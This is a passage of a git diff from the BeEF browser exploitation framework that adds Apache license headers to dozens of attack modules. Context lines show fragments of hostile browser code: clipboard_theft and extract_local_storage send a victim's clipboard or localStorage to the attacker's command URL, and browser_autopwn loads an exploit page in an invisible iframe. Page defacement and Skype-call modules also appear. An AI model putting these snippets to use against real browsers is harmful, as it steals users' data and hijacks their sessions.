a/modules/browser/site_redirect_iframe/module.rb b/modules/browser/site_redirect_iframe/module.rb index 3553c50aa..c715d40a9 100644 --- a/modules/browser/site_redirect_iframe/module.rb +++ b/modules/browser/site_redirect_iframe/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Site_redirect_iframe < BeEF::Core::Command # diff --git a/modules/debug/test_return_ascii_chars/command.js b/modules/debug/test_return_ascii_chars/command.js index 3a776b87b..083d74503 100644 --- a/modules/debug/test_return_ascii_chars/command.js +++ b/modules/debug/test_return_ascii_chars/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { var str = ''; diff --git a/modules/debug/test_return_ascii_chars/config.yaml b/modules/debug/test_return_ascii_chars/config.yaml index 64fb0bb0a..5f0bdf4a6 100644 --- a/modules/debug/test_return_ascii_chars/config.yaml +++ b/modules/debug/test_return_ascii_chars/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: test_return_ascii_chars: diff --git a/modules/debug/test_return_ascii_chars/module.rb b/modules/debug/test_return_ascii_chars/module.rb index ec096c760..4ad7588ed 100644 --- a/modules/debug/test_return_ascii_chars/module.rb +++ b/modules/debug/test_return_ascii_chars/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Test_return_ascii_chars < BeEF::Core::Command def initialize diff --git a/modules/debug/test_return_long_string/command.js b/modules/debug/test_return_long_string/command.js index 2f2f05156..2bfe19ccf 100644 --- a/modules/debug/test_return_long_string/command.js +++ b/modules/debug/test_return_long_string/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { var repeat_value = "<%= @repeat_string %>"; diff --git a/modules/debug/test_return_long_string/config.yaml b/modules/debug/test_return_long_string/config.yaml index 09583dc11..a4d70e40d 100644 --- a/modules/debug/test_return_long_string/config.yaml +++ b/modules/debug/test_return_long_string/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: test_return_long_string: diff --git a/modules/debug/test_return_long_string/module.rb b/modules/debug/test_return_long_string/module.rb index cf1e62da5..8cdc585af 100644 --- a/modules/debug/test_return_long_string/module.rb +++ b/modules/debug/test_return_long_string/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Test_return_long_string < BeEF::Core::Command def initialize diff --git a/modules/host/insecure_url_skype/command.js b/modules/host/insecure_url_skype/command.js index 24e0143db..543439af9 100644 --- a/modules/host/insecure_url_skype/command.js +++ b/modules/host/insecure_url_skype/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { var sploit = beef.dom.createInvisibleIframe(); sploit.src = 'skype://<%= @tel_num %>?call'; diff --git a/modules/host/insecure_url_skype/config.yaml b/modules/host/insecure_url_skype/config.yaml index 3ab24f733..d887d2957 100644 --- a/modules/host/insecure_url_skype/config.yaml +++ b/modules/host/insecure_url_skype/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: insecure_url_skype: diff --git a/modules/host/insecure_url_skype/module.rb b/modules/host/insecure_url_skype/module.rb index ba9923c6a..49ace79e3 100644 --- a/modules/host/insecure_url_skype/module.rb +++ b/modules/host/insecure_url_skype/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Insecure_url_skype < BeEF::Core::Command # diff --git a/modules/host/iphone_tel/command.js b/modules/host/iphone_tel/command.js index a2be81813..fd270eeee 100644 --- a/modules/host/iphone_tel/command.js +++ b/modules/host/iphone_tel/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { document.body.innerHTML = ""; diff --git a/modules/host/iphone_tel/config.yaml b/modules/host/iphone_tel/config.yaml index 1d9830b38..0ee4f5596 100644 --- a/modules/host/iphone_tel/config.yaml +++ b/modules/host/iphone_tel/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: iphone_tel: diff --git a/modules/host/iphone_tel/module.rb b/modules/host/iphone_tel/module.rb index 68c3abc79..c7858d1fc 100644 --- a/modules/host/iphone_tel/module.rb +++ b/modules/host/iphone_tel/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Iphone_tel < BeEF::Core::Command # diff --git a/modules/host/physical_location/command.js b/modules/host/physical_location/command.js index 784609b4b..1f9796926 100644 --- a/modules/host/physical_location/command.js +++ b/modules/host/physical_location/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { if(!beef.geolocation.isGeolocationEnabled()){ diff --git a/modules/host/physical_location/config.yaml b/modules/host/physical_location/config.yaml index 26d6bdc9a..d37e7247f 100644 --- a/modules/host/physical_location/config.yaml +++ b/modules/host/physical_location/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: physical_location: diff --git a/modules/host/physical_location/module.rb b/modules/host/physical_location/module.rb index 3c3cab1a1..50262837d 100644 --- a/modules/host/physical_location/module.rb +++ b/modules/host/physical_location/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Physical_location < BeEF::Core::Command def initialize diff --git a/modules/metasploit/browser_autopwn/command.js b/modules/metasploit/browser_autopwn/command.js index 5d26889e1..97b0e5227 100644 --- a/modules/metasploit/browser_autopwn/command.js +++ b/modules/metasploit/browser_autopwn/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { var sploit = beef.dom.createInvisibleIframe(); sploit.src = '<%= @sploit_url %>'; diff --git a/modules/metasploit/browser_autopwn/config.yaml b/modules/metasploit/browser_autopwn/config.yaml index d00c59086..063e96bbf 100644 --- a/modules/metasploit/browser_autopwn/config.yaml +++ b/modules/metasploit/browser_autopwn/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: browser_autopwn: diff --git a/modules/metasploit/browser_autopwn/module.rb b/modules/metasploit/browser_autopwn/module.rb index 7bb6791f1..91ffd227c 100644 --- a/modules/metasploit/browser_autopwn/module.rb +++ b/modules/metasploit/browser_autopwn/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Browser_autopwn < BeEF::Core::Command # diff --git a/modules/misc/alert_dialog/command.js b/modules/misc/alert_dialog/command.js index 2b03ecd33..a7f6ae5bb 100644 --- a/modules/misc/alert_dialog/command.js +++ b/modules/misc/alert_dialog/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { alert("<%== format_multiline(@text) %>"); diff --git a/modules/misc/alert_dialog/config.yaml b/modules/misc/alert_dialog/config.yaml index a1114ccb6..7f1b4daac 100644 --- a/modules/misc/alert_dialog/config.yaml +++ b/modules/misc/alert_dialog/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: alert_dialog: diff --git a/modules/misc/alert_dialog/module.rb b/modules/misc/alert_dialog/module.rb index 447c76202..03ac0e92a 100644 --- a/modules/misc/alert_dialog/module.rb +++ b/modules/misc/alert_dialog/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Alert_dialog < BeEF::Core::Command # diff --git a/modules/misc/clipboard_theft/command.js b/modules/misc/clipboard_theft/command.js index a7bab8a8b..b4cc1e303 100644 --- a/modules/misc/clipboard_theft/command.js +++ b/modules/misc/clipboard_theft/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { if (clipboardData.getData("Text") !== null) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboardData.getData("Text")); diff --git a/modules/misc/clipboard_theft/config.yaml b/modules/misc/clipboard_theft/config.yaml index dc0bd5a15..5f436b2cc 100644 --- a/modules/misc/clipboard_theft/config.yaml +++ b/modules/misc/clipboard_theft/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: clipboard_theft: diff --git a/modules/misc/clipboard_theft/module.rb b/modules/misc/clipboard_theft/module.rb index 32d964d1d..713885273 100644 --- a/modules/misc/clipboard_theft/module.rb +++ b/modules/misc/clipboard_theft/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Clipboard_theft < BeEF::Core::Command def initialize diff --git a/modules/misc/deface_web_page/command.js b/modules/misc/deface_web_page/command.js index b37d1a76d..52c09d1cd 100644 --- a/modules/misc/deface_web_page/command.js +++ b/modules/misc/deface_web_page/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { document.body.innerHTML = "<%= @deface_content %>"; diff --git a/modules/misc/deface_web_page/config.yaml b/modules/misc/deface_web_page/config.yaml index a3d68de05..8426764d2 100644 --- a/modules/misc/deface_web_page/config.yaml +++ b/modules/misc/deface_web_page/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: deface_web_page: diff --git a/modules/misc/deface_web_page/module.rb b/modules/misc/deface_web_page/module.rb index 1d9475d9c..3dd0a723e 100644 --- a/modules/misc/deface_web_page/module.rb +++ b/modules/misc/deface_web_page/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Deface_web_page < BeEF::Core::Command # diff --git a/modules/misc/extract_local_storage/command.js b/modules/misc/extract_local_storage/command.js index 08052da35..5789fff3c 100644 --- a/modules/misc/extract_local_storage/command.js +++ b/modules/misc/extract_local_storage/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { if ('localStorage' in window && window['localStorage'] !== null) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "localStorage="+JSON.stringify(window['localStorage'])); diff --git a/modules/misc/extract_local_storage/config.yaml b/modules/misc/extract_local_storage/config.yaml index c9fcfaddf..9915cdc10 100644 --- a/modules/misc/extract_local_storage/config.yaml +++ b/modules/misc/extract_local_storage/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: extract_local_storage: diff --git a/modules/misc/extract_local_storage/module.rb b/modules/misc/extract_local_storage/module.rb index 679fb0c26..62c74389c 100644 --- a/modules/misc/extract_local_storage/module.rb +++ b/modules/misc/extract_local_storage/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Extract_local_storage < BeEF::Core::Command # diff --git a/modules/misc/prompt_dialog/command.js b/modules/misc/prompt_dialog/command.js index b68e59b4a..7f50f4f13 100644 --- a/modules/misc/prompt_dialog/command.js +++ b/modules/misc/prompt_dialog/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { var answer = prompt("<%== @question %>","") diff --git a/modules/misc/prompt_dialog/config.yaml b/modules/misc/prompt_dialog/config.yaml index d909d6d19..9209d7ce5 100644 --- a/modules/misc/prompt_dialog/config.yaml +++ b/modules/misc/prompt_dialog/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: prompt_dialog: diff --git a/modules/misc/prompt_dialog/module.rb b/modules/misc/prompt_dialog/module.rb index f38bae609..54365293a 100644 --- a/modules/misc/prompt_dialog/module.rb +++ b/modules/misc/prompt_dialog/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Prompt_dialog < BeEF::Core::Command def initialize diff --git a/modules/misc/raw_javascript/command.js b/modules/misc/raw_javascript/command.js index cd1c6d2c6..d74f4e25e 100644 --- a/modules/misc/raw_javascript/command.js +++ b/modules/misc/raw_javascript/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { var result; diff --git a/modules/misc/raw_javascript/config.yaml b/modules/misc/raw_javascript/config.yaml index 1d079353c..a66ab789e 100644 --- a/modules/misc/raw_javascript/config.yaml +++ b/modules/misc/raw_javascript/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: raw_javascript: diff --git a/modules/misc/raw_javascript/module.rb b/modules/misc/raw_javascript/module.rb index bbdca82b8..02bbec904 100644 --- a/modules/misc/raw_javascript/module.rb +++ b/modules/misc/raw_javascript/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Raw_javascript < BeEF::Core::Command def initialize diff --git a/modules/misc/replace_video/command.js b/modules/misc/replace_video/command.js index 02511b534..0780e369b 100644 --- a/modules/misc/replace_video/command.js +++ b/modules/misc/replace_video/command.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// beef.execute(function() { $j('<%= @jquery_selector %>').each(function(){ var width = $j(this).css('width'); diff --git a/modules/misc/replace_video/config.yaml b/modules/misc/replace_video/config.yaml index 5dcab2d0c..b7d0b1bc1 100644 --- a/modules/misc/replace_video/config.yaml +++ b/modules/misc/replace_video/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: module: replace_video: diff --git a/modules/misc/replace_video/module.rb b/modules/misc/replace_video/module.rb index 89e5500b6..64320974c 100644 --- a/modules/misc/replace_video/module.rb +++ b/modules/misc/replace_video/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the 